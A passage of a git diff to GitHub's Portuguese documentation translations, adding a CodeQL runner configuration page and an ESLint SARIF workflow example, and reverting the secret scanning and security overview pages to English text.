workflows](/actions/reference/events-that-trigger-workflows)." + +The workflow shows an example of running the ESLint static analysis tool as a step in a workflow. The `Run ESLint` step runs the ESLint tool and outputs the `results.sarif` file. The workflow then uploads the `results.sarif` file to {% data variables.product.prodname_dotcom %} using the `upload-sarif` action. For more information about creating a workflow file, see "[Introduction to GitHub Actions](/actions/learn-github-actions/introduction-to-github-actions)." + +```yaml +name: "ESLint analysis" + +# Run workflow each time code is pushed to your repository and on a schedule. +# The scheduled workflow runs every Wednesday at 15:45 UTC. +on: + push: + schedule: + - cron: '45 15 * * 3' + +jobs: + build: + runs-on: ubuntu-latest{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %} + permissions: + security-events: write{% endif %} + steps: + - uses: actions/checkout@v2 + - name: Run npm install + run: npm install + # Runs the ESlint code analysis + - name: Run ESLint + # eslint exits 1 if it finds anything to report + run: node_modules/.bin/eslint build docs lib script spec-main -f node_modules/@microsoft/eslint-formatter-sarif/sarif.js -o results.sarif || true + # Uploads results.sarif to GitHub repository using the upload-sarif action + - uses: github/codeql-action/upload-sarif@v1 + with: + # Path to SARIF file relative to the root of the repository + sarif_file: results.sarif +``` + +## Further reading + +- "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)" +- "[Viewing your workflow history](/actions/managing-workflow-runs/viewing-workflow-run-history)"{%- ifversion fpt or ghes > 3.0 or ghae-next %} +- "[About {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system](/code-security/secure-coding/about-codeql-code-scanning-in-your-ci-system)"{% else %} +- "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)"{% endif %} +- "[Upload an analysis as SARIF data](/rest/reference/code-scanning#upload-an-analysis-as-sarif-data)" diff --git a/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md b/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md new file mode 100644 index 0000000000..7c42e31833 --- /dev/null +++ b/translations/pt-BR/content/code-security/code-scanning/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system.md @@ -0,0 +1,222 @@ +--- +title: Configuring CodeQL runner in your CI system +shortTitle: Configure CodeQL runner +intro: 'You can configure how the {% data variables.product.prodname_codeql_runner %} scans the code in your project and uploads the results to {% data variables.product.prodname_dotcom %}.' +product: '{% data reusables.gated-features.code-scanning %}' +miniTocMaxHeadingLevel: 3 +redirect_from: + - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-code-scanning-in-your-ci-system + - /github/finding-security-vulnerabilities-and-errors-in-your-code/configuring-codeql-code-scanning-in-your-ci-system + - /code-security/secure-coding/configuring-codeql-code-scanning-in-your-ci-system + - /code-security/secure-coding/configuring-codeql-runner-in-your-ci-system + - /code-security/secure-coding/using-codeql-code-scanning-with-your-existing-ci-system/configuring-codeql-runner-in-your-ci-system +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +type: how_to +topics: + - Advanced Security + - Code scanning + - CodeQL + - Integration + - CI + - Repositories + - Pull requests + - C/C++ + - C# + - Java +--- + + +{% data reusables.code-scanning.deprecation-codeql-runner %} +{% data reusables.code-scanning.beta %} +{% data reusables.code-scanning.enterprise-enable-code-scanning %} + +## About configuring {% data variables.product.prodname_codeql %} {% data variables.product.prodname_code_scanning %} in your CI system + +To integrate {% data variables.product.prodname_code_scanning %} into your CI system, you can use the {% data variables.product.prodname_codeql_runner %}. For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system)." + +In general, you invoke the {% data variables.product.prodname_codeql_runner %} as follows. + +```shell +$ /path/to-runner/codeql-runner-OS +``` + +`/path/to-runner/` depends on where you've downloaded the {% data variables.product.prodname_codeql_runner %} on your CI system. `codeql-runner-OS` depends on the operating system you use. +There are three versions of the {% data variables.product.prodname_codeql_runner %}, `codeql-runner-linux`, `codeql-runner-macos`, and `codeql-runner-win`, for Linux, macOS, and Windows systems respectively. + +To customize the way the {% data variables.product.prodname_codeql_runner %} scans your code, you can use flags, such as `--languages` and `--queries`, or you can specify custom settings in a separate configuration file. + +## Scanning pull requests + +Scanning code whenever a pull request is created prevents developers from introducing new vulnerabilities and errors into the code. + +To scan a pull request, run the `analyze` command and use the `--ref` flag to specify the pull request. The reference is `refs/pull//head` or `refs/pull//merge`, depending on whether you have checked out the HEAD commit of the pull request branch or a merge commit with the base branch. + +```shell +$ /path/to-runner/codeql-runner-linux analyze --ref refs/pull/42/merge +``` + +{% note %} + +**Note**: If you analyze code with a third-party tool and want the results to appear as pull request checks, you must run the `upload` command and use the `--ref` flag to specify the pull request instead of the branch. The reference is `refs/pull//head` or `refs/pull//merge`. + +{% endnote %} + +## Overriding automatic language detection + +The {% data variables.product.prodname_codeql_runner %} automatically detects and scans code written in the supported languages. + +{% data reusables.code-scanning.codeql-languages-bullets %} + +{% data reusables.code-scanning.specify-language-to-analyze %} + +To override automatic language detection, run the `init` command with the `--languages` flag, followed by a comma-separated list of language keywords. The keywords for the supported languages are {% data reusables.code-scanning.codeql-languages-keywords %}. + +```shell +$ /path/to-runner/codeql-runner-linux init --languages cpp,java +``` + +## Running additional queries + +{% data reusables.code-scanning.run-additional-queries %} + +{% data reusables.code-scanning.codeql-query-suites %} + +To add one or more queries, pass a comma-separated list of paths to the `--queries` flag of the `init` command. You can also specify additional queries in a configuration file. + +If you also are using a configuration file for custom settings, and you are also specifying additional queries with the `--queries` flag, the {% data variables.product.prodname_codeql_runner %} uses the additional queries specified with the `--queries` flag instead of any in the configuration file. +If you want to run the combined set of additional queries specified with the flag and in the configuration file, prefix the value passed to `--queries` with the `+` symbol. +For more information, see "[Using a custom configuration file](#using-a-custom-configuration-file)." + +In the following example, the `+` symbol ensures that the {% data variables.product.prodname_codeql_runner %} uses the additional queries together with any queries specified in the referenced configuration file. + +```shell +$ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml + --queries +security-and-quality,octo-org/python-qlpack/show_ifs.ql@main +``` + +## Using a custom configuration file + +Instead of passing additional information to the {% data variables.product.prodname_codeql_runner %} commands, you can specify custom settings in a separate configuration file. + +The configuration file is a YAML file. It uses syntax similar to the workflow syntax for {% data variables.product.prodname_actions %}, as illustrated in the examples below. For more information, see "[Workflow syntax for {% data variables.product.prodname_actions %}](/actions/reference/workflow-syntax-for-github-actions)." + +Use the `--config-file` flag of the `init` command to specify the configuration file. The value of `--config-file` is the path to the configuration file that you want to use. This example loads the configuration file _.github/codeql/codeql-config.yml_. + +```shell +$ /path/to-runner/codeql-runner-linux init --config-file .github/codeql/codeql-config.yml +``` + +{% data reusables.code-scanning.custom-configuration-file %} + +### Example configuration files + +{% data reusables.code-scanning.example-configuration-files %} + +## Configuring {% data variables.product.prodname_code_scanning %} for compiled languages + +For the compiled languages C/C++, C#, and Java, {% data variables.product.prodname_codeql %} builds the code before analyzing it. {% data reusables.code-scanning.analyze-go %} + +For many common build systems, the {% data variables.product.prodname_codeql_runner %} can build the code automatically. To attempt to build the code automatically, run `autobuild` between the `init` and `analyze` steps. Note that if your repository requires a specific version of a build tool, you may need to install the build tool manually first. + +The `autobuild` process only ever attempts to build _one_ compiled language for a repository. The language automatically selected for analysis is the language with the most files. If you want to choose a language explicitly, use the `--language` flag of the `autobuild` command. + +```shell +$ /path/to-runner/codeql-runner-linux autobuild --language csharp +``` + +If the `autobuild` command can't build your code, you can run the build steps yourself, between the `init` and `analyze` steps. For more information, see "[Running {% data variables.product.prodname_codeql_runner %} in your CI system](/code-security/secure-coding/running-codeql-runner-in-your-ci-system#compiled-language-example)." + +## Uploading {% data variables.product.prodname_code_scanning %} data to {% data variables.product.prodname_dotcom %} + +By default, the {% data variables.product.prodname_codeql_runner %} uploads results from {% data variables.product.prodname_code_scanning %} when you run the `analyze` command. You can also upload SARIF files separately, by using the `upload` command. + +Once you've uploaded the data, {% data variables.product.prodname_dotcom %} displays the alerts in your repository. +- If you uploaded to a pull request, for example `--ref refs/pull/42/merge` or `--ref refs/pull/42/head`, then the results appear as alerts in a pull request check. For more information, see "[Triaging code scanning alerts in pull requests](/code-security/secure-coding/triaging-code-scanning-alerts-in-pull-requests)." +- If you uploaded to a branch, for example `--ref refs/heads/my-branch`, then the results appear in the **Security** tab for your repository. For more information, see "[Managing code scanning alerts for your repository](/code-security/secure-coding/managing-code-scanning-alerts-for-your-repository#viewing-the-alerts-for-a-repository)." + +## {% data variables.product.prodname_codeql_runner %} command reference + +The {% data variables.product.prodname_codeql_runner %} supports the following commands and flags. + +### `init` + +Initializes the {% data variables.product.prodname_codeql_runner %} and creates a {% data variables.product.prodname_codeql %} database for each language to be analyzed. + +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--repository` | ✓ | Name of the repository to initialize. | +| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |{% ifversion ghes < 3.1 %} +| `--github-auth` | ✓ | A {% data variables.product.prodname_github_apps %} token or personal access token. |{% else %} +| `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or personal access token from standard input. |{% endif %} +| `--languages` | | Comma-separated list of languages to analyze. By default, the {% data variables.product.prodname_codeql_runner %} detects and analyzes all supported languages in the repository. | +| `--queries` | | Comma-separated list of additional queries to run, in addition to the default suite of security queries. This overrides the `queries` setting in the custom configuration file. | +| `--config-file` | | Path to custom configuration file. | +| `--codeql-path` | | Path to a copy of the {% data variables.product.prodname_codeql %} CLI executable to use. By default, the {% data variables.product.prodname_codeql_runner %} downloads a copy. | +| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | +| `--tools-dir` | | Directory where {% data variables.product.prodname_codeql %} tools and other files are stored between runs. The default is a subdirectory of the home directory. | +| `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | +| `--debug` | | None. Prints more verbose output. | +| `--trace-process-name` | | Advanced, Windows only. Name of the process where a Windows tracer of this process is injected. | +| `--trace-process-level` | | Advanced, Windows only. Number of levels up of the parent process where a Windows tracer of this process is injected. | +| `-h`, `--help` | | None. Displays help for the command. | + +### `autobuild` + +Attempts to build the code for the compiled languages C/C++, C#, and Java. For those languages, {% data variables.product.prodname_codeql %} builds the code before analyzing it. Run `autobuild` between the `init` and `analyze` steps. + +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--language` | | The language to build. By default, the {% data variables.product.prodname_codeql_runner %} builds the compiled language with the most files. | +| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | +| `--debug` | | None. Prints more verbose output. | +| `-h`, `--help` | | None. Displays help for the command. | + +### `analyze` + +Analyzes the code in the {% data variables.product.prodname_codeql %} databases and uploads results to {% data variables.product.product_name %}. + +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--repository` | ✓ | Name of the repository to analyze. | +| `--commit` | ✓ | SHA of the commit to analyze. In Git and in Azure DevOps, this corresponds to the value of `git rev-parse HEAD`. In Jenkins, this corresponds to `$GIT_COMMIT`. | +| `--ref` | ✓ | Name of the reference to analyze, for example `refs/heads/main` or `refs/pull/42/merge`. In Git or in Jenkins, this corresponds to the value of `git symbolic-ref HEAD`. In Azure DevOps, this corresponds to `$(Build.SourceBranch)`. | +| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |{% ifversion ghes < 3.1 %} +| `--github-auth` | ✓ | A {% data variables.product.prodname_github_apps %} token or personal access token. |{% else %} +| `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or personal access token from standard input. |{% endif %} +| `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | +| `--no-upload` | | None. Stops the {% data variables.product.prodname_codeql_runner %} from uploading the results to {% data variables.product.product_name %}. | +| `--output-dir` | | Directory where the output SARIF files are stored. The default is in the directory of temporary files. | +| `--ram` | | Amount of memory to use when running queries. The default is to use all available memory. | +| `--no-add-snippets` | | None. Excludes code snippets from the SARIF output. |{% ifversion fpt or ghes > 3.1 or ghae or ghec %} +| `--category` | | Category to include in the SARIF results file for this analysis. A category can be used to distinguish multiple analyses for the same tool and commit, but performed on different languages or different parts of the code. This value will appear in the `.automationDetails.id` property in SARIF v2.1.0. |{% endif %} +| `--threads` | | Number of threads to use when running queries. The default is to use all available cores. | +| `--temp-dir` | | Directory where temporary files are stored. The default is `./codeql-runner`. | +| `--debug` | | None. Prints more verbose output. | +| `-h`, `--help` | | None. Displays help for the command. | + +### `upload` + +Uploads SARIF files to {% data variables.product.product_name %}. + +{% note %} + +**Note**: If you analyze code with the CodeQL runner, the `analyze` command uploads SARIF results by default. You can use the `upload` command to upload SARIF results that were generated by other tools. + +{% endnote %} + +| Flag | Required | Input value | +| ---- |:--------:| ----------- | +| `--sarif-file` | ✓ | SARIF file to upload, or a directory containing multiple SARIF files. | +| `--repository` | ✓ | Name of the repository that was analyzed. | +| `--commit` | ✓ | SHA of the commit that was analyzed. In Git and in Azure DevOps, this corresponds to the value of `git rev-parse HEAD`. In Jenkins, this corresponds to `$GIT_COMMIT`. | +| `--ref` | ✓ | Name of the reference that was analyzed, for example `refs/heads/main` or `refs/pull/42/merge`. In Git or in Jenkins, this corresponds to the value of `git symbolic-ref HEAD`. In Azure DevOps, this corresponds to `$(Build.SourceBranch)`. | +| `--github-url` | ✓ | URL of the {% data variables.product.prodname_dotcom %} instance where your repository is hosted. |{% ifversion ghes < 3.1 %} +| `--github-auth` | ✓ | A {% data variables.product.prodname_github_apps %} token or personal access token. |{% else %} +| `--github-auth-stdin` | ✓ | Read the {% data variables.product.prodname_github_apps %} token or personal access token from standard input. |{% endif %} +| `--checkout-path` | | The path to the checkout of your repository. The default is the current working directory. | +| `--debug` | | None. Prints more verbose output. | +| `-h`, `--help` | | None. Displays help for the command. | diff --git a/translations/pt-BR/content/code-security/secret-scanning/about-secret-scanning.md b/translations/pt-BR/content/code-security/secret-scanning/about-secret-scanning.md index 214dc10cf5..870dca2229 100644 --- a/translations/pt-BR/content/code-security/secret-scanning/about-secret-scanning.md +++ b/translations/pt-BR/content/code-security/secret-scanning/about-secret-scanning.md @@ -1,6 +1,6 @@ --- -title: Sobre a varredura de segredo -intro: 'O {% data variables.product.product_name %} verifica repositórios em busca de tipos de segredos conhecidos a fim de impedir o uso fraudulento de segredos que sofreram commit acidentalmente.' +title: About secret scanning +intro: '{% data variables.product.product_name %} scans repositories for known types of secrets, to prevent fraudulent use of secrets that were committed accidentally.' product: '{% data reusables.gated-features.secret-scanning %}' miniTocMaxHeadingLevel: 3 redirect_from: @@ -23,75 +23,75 @@ topics: {% data reusables.secret-scanning.beta %} {% data reusables.secret-scanning.enterprise-enable-secret-scanning %} -Se o seu projeto se comunicar com um serviço externo, você pode usar um token ou uma chave privada para autenticação. Tokens e chaves privadas são exemplos de segredos que um provedor de serviços pode publicar. Se você marcar um segredo em um repositório, qualquer pessoa que tenha acesso de leitura ao repositório pode usar o segredo para acessar o serviço externo com seus privilégios. Recomendamos que você armazene segredos em um local dedicado e seguro fora do repositório do seu projeto. +If your project communicates with an external service, you might use a token or private key for authentication. Tokens and private keys are examples of secrets that a service provider can issue. If you check a secret into a repository, anyone who has read access to the repository can use the secret to access the external service with your privileges. We recommend that you store secrets in a dedicated, secure location outside of the repository for your project. -{% data variables.product.prodname_secret_scanning_caps %} irá fazer a varredura de todo o seu histórico do Git em todos os branches presentes no seu repositório {% data variables.product.prodname_dotcom %} para obter quaisquer segredos. Os provedores de serviço podem ser associados com {% data variables.product.company_short %} para fornecer seus formatos de segredo para varredura. {% ifversion fpt or ghec %} Para obter mais informações, consulte "[Programa de parceiros de segredo de varredura](/developers/overview/secret-scanning-partner-program)". +{% data variables.product.prodname_secret_scanning_caps %} will scan your entire Git history on all branches present in your {% data variables.product.prodname_dotcom %} repository for any secrets. Service providers can partner with {% data variables.product.company_short %} to provide their secret formats for scanning.{% ifversion fpt or ghec %} For more information, see "[Secret scanning partner program](/developers/overview/secret-scanning-partner-program)." {% endif %} {% data reusables.secret-scanning.about-secret-scanning %} {% ifversion fpt or ghec %} -## Sobre o {% data variables.product.prodname_secret_scanning %} para repositórios públicos +## About {% data variables.product.prodname_secret_scanning %} for public repositories -{% data variables.product.prodname_secret_scanning_caps %} é automaticamente habilitado nos repositórios públicos. Quando você faz push para um repositório público, o {% data variables.product.product_name %} verifica segredos no conteúdo dos commits. Se você alternar um repositório privado para público, o {% data variables.product.product_name %} verifica segredos em todo o repositório. +{% data variables.product.prodname_secret_scanning_caps %} is automatically enabled on public repositories. When you push to a public repository, {% data variables.product.product_name %} scans the content of the commits for secrets. If you switch a private repository to public, {% data variables.product.product_name %} scans the entire repository for secrets. -Quando o {% data variables.product.prodname_secret_scanning %} detecta um conjunto de credenciais, notificamos o provedor de serviço que emitiu o segredo. O provedor de serviço valida a credencial e decide se deve revogar o segredo, emitir um novo segredo ou entrar em contato com você diretamente, o que dependerá dos riscos associados a você ou ao provedor de serviço. Para uma visão geral de como trabalhamos com parceiros emissores de token, consulte "[Programa de verificação de segredos de parceiros](/developers/overview/secret-scanning-partner-program)". +When {% data variables.product.prodname_secret_scanning %} detects a set of credentials, we notify the service provider who issued the secret. The service provider validates the credential and then decides whether they should revoke the secret, issue a new secret, or reach out to you directly, which will depend on the associated risks to you or the service provider. For an overview of how we work with token-issuing partners, see "[Secret scanning partner program](/developers/overview/secret-scanning-partner-program)." -### Lista de segredos compatíveis com repositórios públicos +### List of supported secrets for public repositories -O {% data variables.product.product_name %} atualmente verifica repositórios públicos para encontrar segredos emitidos pelos seguintes provedores de serviços. +{% data variables.product.product_name %} currently scans public repositories for secrets issued by the following service providers. {% data reusables.secret-scanning.partner-secret-list-public-repo %} -## Sobre o {% data variables.product.prodname_secret_scanning %} para repositórios privados +## About {% data variables.product.prodname_secret_scanning %} for private repositories {% endif %} {% ifversion ghes or ghae %} -## Sobre {% data variables.product.prodname_secret_scanning %} em {% data variables.product.product_name %} +## About {% data variables.product.prodname_secret_scanning %} on {% data variables.product.product_name %} -{% data variables.product.prodname_secret_scanning_caps %} está disponível em todos os repositórios de propriedade da organização como parte de {% data variables.product.prodname_GH_advanced_security %}. Não está disponível em repositórios pertencentes a usuários. +{% data variables.product.prodname_secret_scanning_caps %} is available on all organization-owned repositories as part of {% data variables.product.prodname_GH_advanced_security %}. It is not available on user-owned repositories. {% endif %} -Se você é um administrador de repositório ou um proprietário de uma organização, você pode habilitar {% data variables.product.prodname_secret_scanning %} para {% ifversion fpt or ghec %} repositórios privados{% endif %} pertencentes a organizações. Você pode habilitar {% data variables.product.prodname_secret_scanning %} para todos os seus repositórios ou para todos os novos repositórios dentro da sua organização.{% ifversion fpt or ghec %} {% data variables.product.prodname_secret_scanning_caps %} não está disponível para repositórios privados pertencentes ao usuário.{% endif %} Para obter mais informações, consulte "[Gerenciar segurança e configurações de análise para o seu repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" e "[Gerenciar configurações de segurança e análise para a sua organização](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." +If you're a repository administrator or an organization owner, you can enable {% data variables.product.prodname_secret_scanning %} for {% ifversion fpt or ghec %} private{% endif %} repositories that are owned by organizations. You can enable {% data variables.product.prodname_secret_scanning %} for all your repositories, or for all new repositories within your organization.{% ifversion fpt or ghec %} {% data variables.product.prodname_secret_scanning_caps %} is not available for user-owned private repositories.{% endif %} For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository)" and "[Managing security and analysis settings for your organization](/organizations/keeping-your-organization-secure/managing-security-and-analysis-settings-for-your-organization)." -{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}Você também pode definir padrões personalizados de {% data variables.product.prodname_secret_scanning %} que se aplicam somente ao seu repositório ou organização. Para obter mais informações, consulte "[Definir padrões personalizados para {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)".{% endif %} +{% ifversion fpt or ghes > 3.1 or ghae-next or ghec %}You can also define custom {% data variables.product.prodname_secret_scanning %} patterns that only apply to your repository or organization. For more information, see "[Defining custom patterns for {% data variables.product.prodname_secret_scanning %}](/code-security/secret-security/defining-custom-patterns-for-secret-scanning)."{% endif %} -Quando você faz push dos commits para um repositório{% ifversion fpt or ghec %} privado{% endif %} com {% data variables.product.prodname_secret_scanning %} habilitado, {% data variables.product.prodname_dotcom %} verifica o conteúdo dos segredos dos commits. +When you push commits to a{% ifversion fpt or ghec %} private{% endif %} repository with {% data variables.product.prodname_secret_scanning %} enabled, {% data variables.product.prodname_dotcom %} scans the contents of the commits for secrets. -Quando {% data variables.product.prodname_secret_scanning %} detecta um segredo em um{% ifversion fpt or ghec %} privado{% endif %} repositório, {% data variables.product.prodname_dotcom %} gera um alerta. +When {% data variables.product.prodname_secret_scanning %} detects a secret in a{% ifversion fpt or ghec %} private{% endif %} repository, {% data variables.product.prodname_dotcom %} generates an alert. -- O {% data variables.product.prodname_dotcom %} envia um alerta de email para os administradores do repositório e proprietários da organização. +- {% data variables.product.prodname_dotcom %} sends an email alert to the repository administrators and organization owners. {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -- {% data variables.product.prodname_dotcom %} envia um alerta de e-mail para o contribuidor que fez o commit do segredo no repositório com um link para o alerta de {% data variables.product.prodname_secret_scanning %} relacionado. O autor do commit pode visualizar o alerta no repositório e resolver o alerta. +- {% data variables.product.prodname_dotcom %} sends an email alert to the contributor who committed the secret to the repository, with a link to the related {% data variables.product.prodname_secret_scanning %} alert. The commit author can then view the alert in the repository, and resolve the alert. {% endif %} -- {% data variables.product.prodname_dotcom %} exibe um alerta no repositório.{% ifversion ghes = 3.0 %} Para obter mais informações, consulte "[Gerenciar alertas de {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)".{% endif %} +- {% data variables.product.prodname_dotcom %} displays an alert in the repository.{% ifversion ghes = 3.0 %} For more information, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %} {% ifversion fpt or ghes > 3.0 or ghae-next or ghec %} -Para obter mais informações sobre a visualização e resolução de alertas de {% data variables.product.prodname_secret_scanning %}, consulte "[Gerenciar alertas de {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %} +For more information about viewing and resolving {% data variables.product.prodname_secret_scanning %} alerts, see "[Managing alerts from {% data variables.product.prodname_secret_scanning %}](/github/administering-a-repository/managing-alerts-from-secret-scanning)."{% endif %} -Os administradores do repositório e proprietários da organização podem conceder acesso aos usuários aos alertas de {% data variables.product.prodname_secret_scanning %}. Para obter mais informações, consulte "[Gerenciar configurações de segurança e análise do repositório](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)". +Repository administrators and organization owners can grant users and teams access to {% data variables.product.prodname_secret_scanning %} alerts. For more information, see "[Managing security and analysis settings for your repository](/github/administering-a-repository/managing-security-and-analysis-settings-for-your-repository#granting-access-to-security-alerts)." {% ifversion fpt or ghes > 3.0 or ghec %} -Para monitorar os resultados de {% data variables.product.prodname_secret_scanning %} nos seus repositórios privados ou na sua organização, você pode usar a API de {% data variables.product.prodname_secret_scanning %}. Para obter mais informações sobre pontos de extremidade da API, consulte "[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)".{% endif %} +To monitor results from {% data variables.product.prodname_secret_scanning %} across your {% ifversion fpt or ghec %}private {% endif %}repositories{% ifversion ghes > 3.1 %} or your organization{% endif %}, you can use the {% data variables.product.prodname_secret_scanning %} API. For more information about API endpoints, see "[{% data variables.product.prodname_secret_scanning_caps %}](/rest/reference/secret-scanning)."{% endif %} {% ifversion ghes or ghae %} -## Lista de segredos compatíveis{% else %} -### Lista de segredos cmpatíveis com repositórios privados +## List of supported secrets{% else %} +### List of supported secrets for private repositories {% endif %} -{% data variables.product.prodname_dotcom %} atualmente faz a varredura de repositórios{% ifversion fpt or ghec %} privados{% endif %} para segredos emitidos pelos seguintes provedores de serviços. +{% data variables.product.prodname_dotcom %} currently scans{% ifversion fpt or ghec %} private{% endif %} repositories for secrets issued by the following service providers. {% data reusables.secret-scanning.partner-secret-list-private-repo %} {% ifversion ghes < 3.2 or ghae %} {% note %} -**Nota: o ** {% data variables.product.prodname_secret_scanning_caps %} atualmente não permite que você defina seus próprios padrões para detecção de segredos. +**Note:** {% data variables.product.prodname_secret_scanning_caps %} does not currently allow you to define your own patterns for detecting secrets. {% endnote %} {% endif %} -## Leia mais +## Further reading -- "[Protegendo o seu repositório](/code-security/getting-started/securing-your-repository)" -- "[Manter a conta e os dados seguros](/github/authenticating-to-github/keeping-your-account-and-data-secure)" +- "[Securing your repository](/code-security/getting-started/securing-your-repository)" +- "[Keeping your account and data secure](/github/authenticating-to-github/keeping-your-account-and-data-secure)" diff --git a/translations/pt-BR/content/code-security/security-overview/about-the-security-overview.md b/translations/pt-BR/content/code-security/security-overview/about-the-security-overview.md index 9913ed8d92..15013c110e 100644 --- a/translations/pt-BR/content/code-security/security-overview/about-the-security-overview.md +++ b/translations/pt-BR/content/code-security/security-overview/about-the-security-overview.md @@ -1,6 +1,6 @@ --- -title: Sobre a visão geral de segurança -intro: 'Você pode visualizar, filtrar e classificar alertas de segurança para repositórios pertencentes à sua organização ou equipe em um só lugar: a página de Visão Geral de Segurança.' +title: About the security overview +intro: 'You can view, filter, and sort security alerts for repositories owned by your organization or team in one place: the Security Overview page.' product: '{% data reusables.gated-features.security-center %}' redirect_from: - /code-security/security-overview/exploring-security-alerts @@ -16,51 +16,52 @@ topics: - Alerts - Organizations - Teams -shortTitle: Sobre a visão geral de segurança +shortTitle: About security overview --- {% data reusables.security-center.beta %} -## Sobre a visão geral de segurança +## About the security overview -Você pode usar a visão geral de segurança para uma visão de alto nível do status de segurança da sua organização ou para identificar repositórios problemáticos que exigem intervenção. A nível da organização, a visão geral de segurança exibe informações de segurança agregadas e específicas para repositórios pertencentes à sua organização. No nível da equipe, a visão geral de segurança exibe informações de segurança específicas para repositórios para os quais a equipe tem privilégios de administrador. Para obter mais informações, consulte "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)." +You can use the security overview for a high-level view of the security status of your organization or to identify problematic repositories that require intervention. At the organization-level, the security overview displays aggregate and repository-specific security information for repositories owned by your organization. At the team-level, the security overview displays repository-specific security information for repositories that the team has admin privileges for. For more information, see "[Managing team access to an organization repository](/organizations/managing-access-to-your-organizations-repositories/managing-team-access-to-an-organization-repository)." -A visão geral de segurança indica se {% ifversion fpt or ghes > 3.1 or ghec %} as funcionalidades segurança{% endif %}{% ifversion ghae-next %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} estão habilitadas para os repositórios pertencentes à sua organização e consolida alertas para cada funcionalidade.{% ifversion fpt or ghes > 3.1 or ghec %} As funcionalidades de segurança includem recursos de {% data variables.product.prodname_GH_advanced_security %} como, por exemplo, {% data variables.product.prodname_code_scanning %} e {% data variables.product.prodname_secret_scanning %}, bem como {% data variables.product.prodname_dependabot_alerts %}.{% endif %} Para obter mais informações sobre as funcionalidades de {% data variables.product.prodname_GH_advanced_security %}, consulte "[Sobre {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes > 3.1 or ghec %} Para obter mais informações sobre {% data variables.product.prodname_dependabot_alerts %}, consulte "[Sobre alertas de dependências vulneráveis](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %} +The security overview indicates whether {% ifversion fpt or ghes > 3.1 or ghec %}security{% endif %}{% ifversion ghae-next %}{% data variables.product.prodname_GH_advanced_security %}{% endif %} features are enabled for repositories owned by your organization and consolidates alerts for each feature.{% ifversion fpt or ghes > 3.1 or ghec %} Security features include {% data variables.product.prodname_GH_advanced_security %} features, such as {% data variables.product.prodname_code_scanning %} and {% data variables.product.prodname_secret_scanning %}, as well as {% data variables.product.prodname_dependabot_alerts %}.{% endif %} For more information about {% data variables.product.prodname_GH_advanced_security %} features, see "[About {% data variables.product.prodname_GH_advanced_security %}](/get-started/learning-about-github/about-github-advanced-security)."{% ifversion fpt or ghes > 3.1 or ghec %} For more information about {% data variables.product.prodname_dependabot_alerts %}, see "[About alerts for vulnerable dependencies](/code-security/supply-chain-security/managing-vulnerabilities-in-your-projects-dependencies/about-alerts-for-vulnerable-dependencies#dependabot-alerts-for-vulnerable-dependencies)."{% endif %} -Para obter mais informações sobre como proteger seu código nos níveis do repositório e da organização, consulte "[Protegendo seu repositório](/code-security/getting-started/securing-your-repository)" e "[Protegendo sua organização](/code-security/getting-started/securing-your-organization)". +For more information about securing your code at the repository and organization levels, see "[Securing your repository](/code-security/getting-started/securing-your-repository)" and "[Securing your organization](/code-security/getting-started/securing-your-organization)." -No resumo da segurança, é possível visualizar, ordenar e filtrar alertas para entender os riscos de segurança na sua organização e nos repositórios específicos. Você pode aplicar vários filtros para concentrar-se em áreas de interesse. Por exemplo, você pode identificar repositórios privados que têm um número elevado de {% data variables.product.prodname_dependabot_alerts %} ou repositórios que não têm alertas {% data variables.product.prodname_code_scanning %}. +In the security overview, you can view, sort, and filter alerts to understand the security risks in your organization and in specific repositories. You can apply multiple filters to focus on areas of interest. For example, you can identify private repositories that have a high number of {% data variables.product.prodname_dependabot_alerts %} or repositories that have no {% data 